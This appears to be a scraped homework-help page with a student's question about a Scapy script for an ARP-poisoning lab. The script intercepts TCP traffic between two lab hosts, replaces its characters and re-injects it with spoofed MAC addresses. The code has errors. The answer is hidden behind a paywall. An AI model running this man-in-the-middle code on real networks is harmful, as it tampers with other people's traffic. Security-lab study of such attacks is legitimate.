Question: Attempting to try ARP poisoning, the code does not change the characters from q to b when typing. Additionally, the Ether wrapper does not work:

Attempting to try ARP poisoning, the code does not change the characters from q to b when typing. Additionally, the Ether wrapper does not work: #!/usr/bin/env python3 from scapy.all import * # Define the IP and MAC addresses IP_M ="10.9.0.105" MAC_M ="02:42:0a:09:00:69" IP_A ="10.9.0.5" MAC_A ="02:42:0a:09:00:05" IP_B ="10.9.0.6" MAC_B ="02:42:0a:09:00:06" def spoof_pkt(pkt): # Check if the packet is from A to B if IP in pkt and pkt[IP].src == IP_A and pkt[IP].dst == IP_B: # Create a new IP packet based on the original newpkt = IP(bytes(pkt[IP])) # Create a new IP packet from the original del newpkt.chksum # Remove the checksum (it will be recalculated) # Modify the TCP part if it exists if TCP in pkt: del newpkt[TCP].chksum # Remove the checksum newdata = bytearray(pkt[TCP].payload.load) # Get the original payload data # Modify the payload by replacing alphanumeric characters with 'q' for i in range(len(newdata)): if chr(newdata[i]).isalnum(): newdata[i]= ord('q') # Create the new TCP segment new_tcp = TCP(dport=pkt[TCP].dport, sport=pkt[TCP].sport, flags=pkt[TCP].flags, seq=pkt[TCP].seq, ack=pkt[TCP].ack)/ bytes(newdata) newpkt = newpkt / new_tcp # Set the source and destination MAC addresses for the Ethernet frame newpkt[Ether].src = MAC_M newpkt[Ether].dst = MAC_B # Send the modified packet sendp(Ether()/ newpkt, iface='eth0', verbose=False) # Check if the packet is from B to A (unmodified forwarding) elif IP in pkt and pkt[IP].src == IP_B and pkt[IP].dst == IP_A: # Create a new IP packet newpkt = IP(bytes(pkt[IP])) # Create a new IP packet from the original del newpkt.chksum # Remove the checksum # Set the source and destination MAC addresses for the Ethernet frame newpkt[Ether].src = MAC_M newpkt[Ether].dst = MAC_A # Send the unmodified packet sendp(Ether()/ newpkt, iface='eth0', verbose=False) # Sniff packets, filtering out those sent from the MAC_M address f ="tcp and not ether src "+ MAC_M sniff(iface="eth0", filter=f, prn=spoof_pkt)

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Programming Questions!